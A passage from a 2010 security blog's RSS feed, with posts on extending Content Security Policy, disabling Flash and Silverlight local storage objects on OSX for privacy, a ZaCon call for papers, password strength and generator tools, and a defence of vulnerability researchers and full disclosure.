&lt;p&gt;Like many defenses, the attacks have moved on. If you look at the number of new attacks enabled by HTML5, or attacks using Flash/SilverLight, limiting scripting and 10 policy directives won&#039;t cut it (but provides significantly more capability than nothing). We need something more comprehensive, and more future proof. What I&#039;d like to propose, in a very early state looking for feedback, is an extension to CSP, where we have a policy directive for every browser feature. This could be done as some sort of capability tree where either an &amp;quot;on/off/whitelist/blacklist&amp;quot; rule can be applied. For example, image the following depth-first view of a tree leg &amp;quot;external data -&amp;gt; css -&amp;gt; images -&amp;gt; background-image&amp;quot; At the highest level, we could provide a global white/black list of the origins of external data, or turn it off completely. The next level down, we could do the same for CSS only, or completely disable it if our site doesn&#039;t require it. Continuing down the tree until it is possible for us to provide highly-granular control of individual CSS directives specifically. Thus, once could create very simple policies, or more complex granular policies.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;This would buy us two improvements to CSP as I see it. The first is that we could avoid a reactive update of CSP every time a new attack using functionality not catered for by CSP comes out. The second benefit, is that the potential &amp;quot;attack surface&amp;quot; for an application could be greatly limited. Imagine being able to profile your app and provide a specific policy enabling only the functionality required by your app. Any attacks requiring such functionality would fail.&lt;/p&gt; 
&lt;p&gt;For the second problem, there are far less advanced tools available. The closet to it are the new &lt;a href=&quot;http://www.w3.org/TR/html5/the-iframe-element.html#attr-iframe-sandbox&quot;&gt;HTML5 &amp;lt;iframe&amp;gt; sandbox&lt;/a&gt; directives, but they fall way short. What we need is something that can apply to all third party content (much like CSP, image sources, javascript sources, style sources etc.), and that provides a granular capabilities model. For this we could use the same capability tree from above. We&#039;d need to work out how a site-owner defined policy and third-party enforced policy would relate, but it makes sense that a site-owner should not be able to re-enable stuff when including it as third-party content that the external site-owner has set. If not, attackers could just disable anti-framebusting CSP in their frame. So, a site-owner would only be able to further disable functionality when including third-party content. This could comfortable fit into the exiting CSP proposal, which already allows policy directives to be applied per origin.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;&amp;#160;This would allow a site owner to enforce significantly more control over content she was serving from third parties. For example, content from an ad network could be limited to only the functionality required (e.g. a specific image source and inclusion method, and possible explicit JS functionality to allow the monkey to be punched) and any malware served through it would be fairly castrated. Likewise, one could include content like Google Analytics or the FaceBook like button, but prevent them from setting a cookie.&lt;/p&gt; 
&lt;p&gt;In summary, I am proposing a discussion be started on extending CSP to provide a more granular control and enforcement model and further extending it to allow the enforcement to extend to how a site-owner wants to include third-party content. I&#039;m possibly being quite naive about all of this, and would love some feedback. Truthfully, I&#039;m not sure what the next steps would be, but we need to invest more time into fixing the web, rather than just breaking it.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 29 Nov 2010 18:20:57 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1018-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Adobe Flash LSO &amp; Microsoft Silverlight LSO Cookies</title>
    <link>http://www.singe.za.net/blog/archives/1017-Adobe-Flash-LSO-Microsoft-Silverlight-LSO-Cookies.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1017-Adobe-Flash-LSO-Microsoft-Silverlight-LSO-Cookies.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1017</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1017</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;I&#039;ve been playing with ways of nuking evercookie-style identifier dropping (note: killing the evercookie specifically is silly, I&#039;m aiming for unknown reimplementation too) and have worked some stuff out about LSOs. LSO are Local Storage Objects, they are ways Flash and Silverlight can store info on your machine rather than the remote server. The most common uses appear to be to drop an identifier, which behaves in exactly the same way as a cookie, or to store preferences (e.g. youtube volume settings).&lt;/p&gt; 
&lt;p&gt;The following information pertains to OSX, I&#039;ll get to other OS&#039;es but I imagine their implementations won&#039;t vary greatly. &lt;br /&gt;&lt;/p&gt; &lt;p&gt;On OSX, three locations are relevant for these:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;&lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Preferences/Macromedia/Flash Player/#SharedObjects/&amp;lt;8 random alphanumeric characters&amp;gt;&lt;br /&gt;&lt;/em&gt;&lt;/li&gt; 
&lt;li&gt;&lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/&lt;/em&gt;&lt;/li&gt; 
&lt;li&gt;&lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/Microsoft/Silverlight/is/&amp;lt;8.3 random alphanumeric&amp;gt;/&amp;lt;8.3 random alphanumeric&amp;gt;/1/&lt;/em&gt;&lt;br /&gt;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;p&gt;The first is where &lt;strong&gt;Adobe Flash LSOs are stored&lt;/strong&gt;, the second is where &lt;strong&gt;site-specific Flash configurations are stored&lt;/strong&gt; and the final is where &lt;strong&gt;Microsoft Silverlight LSOs are stored&lt;/strong&gt;. Adobe LSO&#039;s are stored in files with the .sol extension. Silverlight uses a more complex storage mechanism and stores the data in a series of .dat &amp;amp; .txt files.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;At first I played with just nuking everything with a recursive force delete. This will clear out anything in the LSO stores. You can even safely go as high up the directory tree as to exclude the &amp;lt;random dirs&amp;gt; e.g. rm -rf &lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/Microsoft/Silverlight/is/*&lt;/em&gt;. &lt;strong&gt;However, this will not prevent future LSOs from being set&lt;/strong&gt;. This will help provide anonymity (from techniques using these identifiers) between each clearing out, but not during, and frankly isn&#039;t good enough.&lt;/p&gt;Next, I wanted to prevent them from being re-set. So, I looked at disabling the top-level storage directories by 
removing all permissions, but that causes undefined behaviour including 
Safari crashes and Flash/Silverlight universally not running. But Adam Shostack has helpfully sent me a script he had created which deleted the files, recreated blanks, and removed permissions. So, I set about experimenting with that. What I found was that while this works fine for Silverlight, it doesn&#039;t for Flash. &lt;strong&gt;Flash happily ignores the permissions and just overwrites the file&lt;/strong&gt; (no symlink vuln here, I checked). Ok, so I then tried linking them to /dev/null, same thing, works for Silverlight, but Flash just sets them back. In some cases, Flash will even go so far as to temporarily use different file extensions to write the files, and move them over to the original once they&#039;re available again. Is it just me or is that overly persistent? I eventually worked out, by actually looking at Adam&#039;s code, that changing perms or symlinking to /dev/null on the directory containing the .sol rather than the .sol itself works. However, even then, the browser seems to still be able to create temporary LSOs in memory that persist until refreshed.&lt;br /&gt; 
&lt;p&gt;I eventually decided &lt;strong&gt;using the programs&#039; own configuration options was probably the best way&lt;/strong&gt;. Both Flash and Silverlight have a configuration option to limit the storage of LSOs. Flash uses the &lt;a href=&quot;http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager03.html&quot; title=&quot;Adobe Settings Manager&quot;&gt;settings manager&lt;/a&gt; to modify the file &lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/settings.sol&lt;/em&gt; By flipping the second byte after the &amp;quot;&lt;em&gt;allowThirdPartyLSO&lt;/em&gt;&amp;quot; keyword you can manually set the setting. I opted to just generate a good settings.sol that I could overwrite the existing one with, which allows changes in this file to be easily managed by just regenerating a new one. Silverlight is much easier; you can either use the built-in settings manager by right-clicking in any Silverlight app, or create a blank file in &lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/Microsoft/Silverlight/is/&amp;lt;random 8.3&amp;gt;/&amp;lt;random 8.3&amp;gt;/1/disabled.dat&lt;/em&gt; . Setting both of these permanently, and more robustly, disabled LSOs for both system.&lt;/p&gt; 
&lt;p&gt;However, one issue remains. Even with this setting, Flash still creates an entry is directory (2) above, to allow site-specific configurations items to be stored. This setting inherits from the global config, and won&#039;t allow custom data to be stored if all 3rd party LSOs are blocked. This setting is stored in &lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/#&amp;lt;domain.name&amp;gt;/settings.sol&lt;/em&gt; in the second byte after the &amp;quot;allow&amp;quot; keyword.&amp;#160; &lt;strong&gt;This certainly provides some useful info for forensic investigators&lt;/strong&gt;: any time a user with all Flash local storage settings off and all privacy settings on visits a flash page, an entry will be created in the location above. You can&#039;t clear this from within the browser without the help of an extension which deletes the files. Also, less worryingly, Silverlight&#039;s file needs to be placed in the 
unique random directory structure that&#039;s created, which means a unique 
identifier persists. The solution there was just to change the directory name randomly, which Silverlight happily rolls with, and another UID bites the dust.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;In short, the article above describes the best way to permanently disable LSO storage in Flash &amp;amp; Silverlight, and what not to try. The end result should be, that the evercookie won&#039;t be able to use them as locations. However, neither will legitimate applications. For the most part, this doesn&#039;t appear to break anything, as mostly apps store preference data, but there must be a few apps it will break. The solution to that will be detailed with some of the other, more interesting evercookie work at a later stage.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 22 Nov 2010 22:28:09 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1017-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>ZaCon II CFP Closes on Fri</title>
    <link>http://www.singe.za.net/blog/archives/1007-ZaCon-II-CFP-Closes-on-Fri.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1007-ZaCon-II-CFP-Closes-on-Fri.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1007</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1007</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;The &lt;a href=&quot;http://zacon.org.za/zacon2/cfp.html&quot; title=&quot;Call For Papers&quot;&gt;ZaCon II CFP&lt;/a&gt; is nearing it&#039;s closure date (tomorrow!), and this is an overt reminder to all of you thinking about submitting to do it. ZaCon is a great place to either give your first infosec presentation or deliver a tech-heavy presentation to a receptive crowd. All you need do is submit a short abstract to &lt;a href=&quot;mailto:abstracts@zacon.org.zs&quot;&gt;abstracts@zacon.org.za&lt;/a&gt; and if your submission is accepted, prepare and deliver a presentation. You don&#039;t even need to write a paper. If that isn&#039;t lowering the barrier to entry enough, then you&#039;re just lazy :)&lt;/p&gt; 
&lt;p&gt; If my submission is accepted (heavy bribery underway), then I&#039;m hoping to set up an infosec &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/British_Parliamentary_Style&quot;&gt;BP-style debate&lt;/a&gt;, and will be approaching some of you &amp;quot;I&#039;m smart but never share that outside the office&amp;quot; types to get involved, and hopefully have some fun.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;You can read more of my thoughts on ZaCon &lt;a href=&quot;http://www.singe.za.net/blog/archives/988-ZaCon-Information-Security-for-the-Rest-of-Us.html&quot; title=&quot;ZaCon Information Security for the Rest of Us&quot;&gt;here&lt;/a&gt;. Also, at some indeterminate point in the future, some ramblings about ZaCon will appear in episode 18 of &lt;a href=&quot;http://www.letstalkgeek.net/&quot;&gt;Let&#039;s Talk Geek&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;  
    </content:encoded>

    <pubDate>Thu, 19 Aug 2010 10:09:11 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1007-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Password Strength Checker &amp; Generator</title>
    <link>http://www.singe.za.net/blog/archives/1003-Password-Strength-Checker-Generator.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1003-Password-Strength-Checker-Generator.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1003</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1003</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;This has been reposted from &lt;a href=&quot;http://www.sensepost.com/blog/4668.html&quot; title=&quot;Password Tools&quot;&gt;it&#039;s original&lt;/a&gt; at my new second blogging home at &lt;a href=&quot;http://www.sensepost.com/blog/&quot; title=&quot;extern blog SensePost;&quot;&gt;SensePost&lt;/a&gt;.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;In my previous role working as a security manager for a large 
retailer, I developed some password tools for various purposes, 
primarily to help non-security people with some of the basics. I 
licensed them under the GPL, and I think it&#039;s about time they saw the 
light of day.&lt;/p&gt; 
&lt;p&gt;There are a couple of tools, which I will explain below. They&#039;re all 
written in JavaScript, primarily because it is cross-platform, but can 
be centrally hosted. They all work in Firefox and Internet Explorer, 
although the automatic copy to clipboard functionality of the service 
desk tool is IE only.&lt;/p&gt; 
&lt;p&gt;The intention is for the tools to be placed into your organisation&#039;s 
intranet somewhere. I found they came in much use, allowing me to 
reference a specific tool and setting rather than esoteric password 
theory in documents. For example, security standards documents would say
 &amp;quot;Service account passwords should either be generated by the password 
generator set to the service account setting, or be rated as &amp;quot;very 
strong&amp;quot; by the password strength checker&amp;quot;, which is far more practical 
than quoting a list of password rules.&lt;/p&gt; 
&lt;p&gt;Being centrally hosted also allows updates to be made immediately in 
the case of a policy change, new common password addition, or bug. This 
also allowed web logs to provide an audit trail of who was using the 
tools. Particularly useful in the case of monitoring service desk 
activity e.g. If the service desk records 100 password resets, and the 
tool only saw 10 hits, you know something&#039;s up.&lt;/p&gt; 
&lt;p&gt;If you&#039;re a tactile learner, you can &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/sp-password-tools.zip&quot;&gt;grab

 them here&lt;/a&gt;.&lt;/p&gt; &lt;div class=&quot;entry_content&quot;&gt; 
&lt;h2&gt;&lt;strong&gt;Password Strength Checker&lt;/strong&gt;&lt;/h2&gt; 
&lt;p&gt;This tool was written in response to the poor attempts at password 
strength checkers seen on many sites. They do basic checks for upper, 
lower-case characters and numbers. This allows passwords like 
&amp;quot;Password1&amp;quot; to be marked as &amp;quot;strong.&amp;quot; Primarily based on &lt;a href=&quot;http://rumkin.com/tools/password/passchk.php&quot;&gt;Tyler Atkins&#039; 
entropy and common word checker&lt;/a&gt;, I put together a more advanced 
utility. This will check the chosen password for:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Length (over 8 characters)&lt;/li&gt; 
&lt;li&gt;Character sets (lowercase, uppercase, numbers, special characters)&lt;/li&gt; 
&lt;li&gt;Frequency (checks for common sets of characters e.g. &amp;quot;u&amp;quot; following 
&amp;quot;q&amp;quot;, biased to English)&lt;/li&gt; 
&lt;li&gt;Common Words (checks that common words aren&#039;t used e.g. Password1)&lt;/li&gt; 
&lt;/ul&gt;
I&#039;ve added a &lt;a href=&quot;http://www.gerd-riesselmann.net/archives/2005/03/a-javascript-progress-bar-and-password-quality-indicator&quot;&gt;progress
 bar from Gerd
 Riesselmann&lt;/a&gt;, and a key for guidance. I&#039;ve also eased the password 
strength requirements to better fit reasonable corporate password 
policies. These can be easily modified in the code though. 

&lt;p&gt;There are two versions provided, one which &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/password-strength-checker-with-entropy-display.html&quot;&gt;displays
 the results of the entropy calculations&lt;/a&gt;, and one which &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/password-strength-checker.html&quot;&gt;does
 not&lt;/a&gt; (user&#039;s rarely care).&lt;/p&gt; 
&lt;h2&gt;&lt;strong&gt;Password Generators&lt;/strong&gt;&lt;/h2&gt; 
&lt;p&gt;There are three password generators, each with a different audience 
in mind.&lt;/p&gt; 
&lt;h3&gt;&lt;strong&gt;Full Password Generator&lt;/strong&gt;&lt;/h3&gt; 
&lt;p&gt;&lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/password-generator.html&quot;&gt;The
 full password generator&lt;/a&gt; is the most complex and has a number of 
features:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Generate random passwords of varying complexity based on a &amp;quot;usage&amp;quot; 
selector such as &amp;quot;user&amp;quot;, &amp;quot;administrator&amp;quot; or &amp;quot;service account&amp;quot;. These 
match up to the complexity key in the strength checker.&lt;/li&gt; 
&lt;li&gt;Generate lists of passwords to be used as distributed 
One-Time-Password lists. This is useful if passwords are regularly 
required between two parties to avoid using a static password. The list 
can be delivered via an alternative medium than the data being 
transmitted, and an agreed rotation period set up, such as a new 
password to be used &amp;quot;every day&amp;quot; or &amp;quot;every week&amp;quot;.&lt;/li&gt; 
&lt;li&gt;Create a NATO alphabet version of the password for speaking over 
the phone with the &amp;quot;will be spoken&amp;quot; option&lt;/li&gt; 
&lt;/ul&gt;
The actual password generation code was courtesy of the 
no-longer-available &lt;a href=&quot;http://unix.freshmeat.net/projects/cryptomx&quot;&gt;CryptoMX tools&lt;/a&gt;, 
and the NATO alphabet conversion code was courtesy of &lt;a href=&quot;http://www.sourcecodeonline.com/details/nato_phonetic_translator.html&quot;&gt;L.
 Bower&lt;/a&gt;. 




&lt;h3&gt;&lt;strong&gt;Service Desk Password Generators&lt;/strong&gt;&lt;/h3&gt; 
&lt;p&gt;The service desk password generators were created to help the service
 desk stop resetting everyone&#039;s password to the same thing. It&#039;s one of 
the most pervasive security problems in any organisation, the service 
desk are told to reset passwords to some common password like &amp;quot;abc123&amp;quot;, 
&amp;quot;Password&amp;lt;x&amp;gt;&amp;quot; or &amp;quot;&amp;lt;username&amp;gt;&amp;quot;. Most user&#039;s know it, and if 
you do ever investigate service desk password resets, will find some 
serious abuses going on. This tool is a quick and dirty way to provide 
more reasonable alternatives for the service desk to use.&lt;/p&gt; 
&lt;p&gt;It&#039;s basic features are:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;A very simple interface and instructions&lt;/li&gt; 
&lt;li&gt;A basic and somewhat unique password is generated&lt;/li&gt; 
&lt;li&gt;A &amp;quot;pronounceable&amp;quot; version of the password is created in the NATO 
alphabet for speaking over the phone&lt;/li&gt; 
&lt;li&gt;The password is copied to the clipboard (IE only) for pasting into 
whatever reset tool is in use&lt;/li&gt; 
&lt;/ul&gt;
There are two versions, &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/service-desk-password-generator-strong.html&quot;&gt;the
 first&lt;/a&gt; generates a strong random password, and &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/service-desk-password-generator-weak.html&quot;&gt;the
 second&lt;/a&gt; uses one of a list of weak base words, with random numbers 
put on the end. The second was created after push back from the service 
desk agents saying that user&#039;s were complaining about the random 
passwords. I don&#039;t like the second version, because it is still fairly 
predictable, and someone internally could pull out the passwords and 
create a simple password list to feed to any number of tools. If you are
 going to use the second version, please use your own list of words, 
ideally several thousand to increase the entropy. The current list was 
created by taking the top 500 6-digit words from the Unix English (en) 
dictionary, and removing complex ones. 




&lt;p&gt;&lt;em&gt;These tools where originally written when I was an employee of 
Deloitte South Africa, and while necessarily under the GPL due to 
included code, are still published here with permission of them. They 
have however, been updated since then on SensePost&#039;s coin.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;/div&gt; 
    </content:encoded>

    <pubDate>Tue, 04 May 2010 18:49:39 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1003-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>In Defence of Vulnerability Researchers</title>
    <link>http://www.singe.za.net/blog/archives/999-In-Defence-of-Vulnerability-Researchers.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/999-In-Defence-of-Vulnerability-Researchers.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=999</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=999</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Verizon&#039;s Wade Baker (with assistance from Dave Kennedy, who I will refer interchangeably to as with Wade, Dave or Verizon) published &lt;a href=&quot;http://securityblog.verizonbusiness.com/2010/04/22/redefining-security-researcher/&quot; title=&quot;Redefining Security Researcher&quot;&gt;a post&lt;/a&gt; claiming that vulnerability/security researchers are given too much leeway, and are closer to criminals than good guys. He suggests they should rather be called &amp;quot;narcissistic vulnerability pimps&amp;quot; (NVPs) in future. Dan Goodin got some clarification when writing &lt;a href=&quot;http://www.theregister.co.uk/2010/04/23/verizon_narcissistic_vulnerability_pimps/&quot; title=&quot;Verizon due sec researchers NVPs&quot;&gt;his piece&lt;/a&gt; for The Register which expands on some of Verizon&#039;s motivations and justifications.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;While I think I identify with part of his frustrations, he&#039;s wrong. Mostly due to an overconfidence in how vendors optimise for &amp;quot;shareholder value&amp;quot;, but also because while scrabbling to paint vuln researchers as bad guys, he forgot about the actual bad guys.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Wade suggests three categories that could be used to describe security professionals, as they are neither exclusive, accurate or sufficient I&#039;m going to ignore them. Instead, I&#039;m going to try and distill what Wade believes is the problem, and his preferred approach while attempting to avoid the straw man.&lt;/p&gt; 
&lt;p&gt;Wade seems to believe that people who discover vulnerabilities, then publish them to the general public, whether after informing the vendor or not, are motivated predominantly by glory and not good intentions. The few motivated by good intentions, it seems, would also be labeled problematic by Wade (&amp;amp; Dave, as the quote is his) because:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;[F]ull disclosure was never a good idea, even in cases, like &lt;a href=&quot;http://seclists.org/fulldisclosure/2010/Apr/119&quot; title=&quot;Tavis&#039; Full Disclosure Post&quot;&gt;Ormandy&#039;s dust-up with Oracle&lt;/a&gt;.&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;The alternative it seems Verizon would like to see, is that researchers who find vulnerabilities report them to the vendor and walk away. I&#039;m assuming they&#039;d allow for some follow up, but publishing the vulnerability publicly would earn you the NVP label. Once again a quote from Wade/Dave/Verizon/Dan Gooding:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;&amp;quot;Apple has a responsibility to their shareholders and to their customers to deal with the vulnerabilities, and their shareholders and their customers can hold Apple&#039;s feet to the fire. They have their own ways of exerting pressure on Apple to behave in a way they think Apple should behave.&amp;quot;&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;There&#039;s an obvious problem with Wade&#039;s approach; it isn&#039;t universalisable, and we have hard facts for that. There are many vendors who don&#039;t act on reported vulnerabilities as anyone who&#039;s ever submitted security flaws to vendors can tell you. David Litchfield has even waited a few years before eventually publishing Oracle vulns. Even if every vendor in existence responded to discovered flaws perfectly, there&#039;s no obligation for them to. If we look at the externalities pressuring them to action, sexy new features are going to please both shareholder and customers more. Those same customers and shareholders don&#039;t really understand this complex security mumbo jumbo, and so in the rare instances when they can patch a bug without at least one news outlet publishing a &amp;quot;OMFG there&#039;s a flaw in product X&amp;quot; the customers and shareholders still aren&#039;t going to fully appreciate the security fix. What&#039;s more, if a security fix prevents a customer from getting hacked, they will have no idea, and won&#039;t credit the vendor. The only time not deploying a fix will be a problem for the company is if a mass or high-profile public hack of their customers occurs. Given that most criminals don&#039;t like getting caught and that computer crime is hard to detect, that&#039;s a much rarer event than the actual occurrence of hacks. &lt;strong&gt;This is exactly why full disclosure came about, *in response* to the way vendors were ignoring bugs, to add another externality to drive them into fixing bugs.&lt;/strong&gt;&lt;/p&gt; 
&lt;p&gt;This is where the difference between actual computer criminals and security researchers becomes important. Something Wade get&#039;s woefully wrong:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;Have you ever heard of a terrorist referred to as a “demolition engineer?” How about a thief as a “locksmith?” No? Well, that’s because most fields don’t share the InfoSec industry’s ridiculous yet long-standing inability to distinguish the good guys from the bad guys.&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;The security researchers Wade is taking aim at are the one&#039;s who publish their work publicly (hence the addition of &amp;quot;narcissistic&amp;quot; I believe). But there are a whole whack of people who don&#039;t publish their work publicly, or to the vendor or even via vuln clearing houses like VDI (which eventually gets to the vendor). Wade doesn&#039;t pass judgment on them. Even those people aren&#039;t criminals. One could argue they aren&#039;t optimising for the public good, because an actual criminal could have found the same flaw and be privately exploiting it. They aren&#039;t criminals because they haven&#039;t committed a crime, or even harmed anyone. Actual criminals are people who either discover or buy flaws and then use them to (or have the intention to) commit a crime. This is the distinguishing difference between a thief and a locksmith, or a terrorist (an already loaded term) and a physical pentester. Their intention, and what they do with the information. One uses it to fix the hole, the other exploits it. &lt;strong&gt;This is why full disclosure exists, not the make money, but to encourage people to fix the holes, not exploit them.&lt;/strong&gt; The fact that it can buy you a limited about of fame is a bonus because it provides an incentive to go public (one that pales in comparison to the hard dollars you can get via other means).&lt;/p&gt; 
&lt;p&gt;Finally, I do identify with parts of Wade&#039;s frustration with regards to people who either disclose without reporting to the vendor first, or &lt;a href=&quot;http://singe.za.net/blog/archives/933-Dan-Kaminskys-BlackHat-USA-08-Talk-on-the-DNS-Flaw.html&quot; title=&quot;Dan Kaminsky&#039;s BlackHat USA &#039;08 DNS Flaw&quot;&gt;hype a vulnerability&lt;/a&gt; way beyond it&#039;s actual risk. The first leaves the install base vulnerable with the exploit popularised, the second causes people to optimise resources poorly. There&#039;s room for updated research on &lt;a href=&quot;http://singe.za.net/blog/archives/928-Vulnerability-Life-Cycle.html&quot; title=&quot;Vulnerability LIfe Cycle&quot;&gt;vulnerability life cycles&lt;/a&gt;, to ensure the debate revolves around facts and not hypothesis. Either way, one should not be confused about which side those researchers are on. They are the good guys, their work could be used in far more evil ways, they do work the vendor isn&#039;t able/capable of. They make us safer, maybe not always in the best way, but in the end they make us safer.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sat, 24 Apr 2010 12:53:02 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/999-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>

</channel>
</rss>
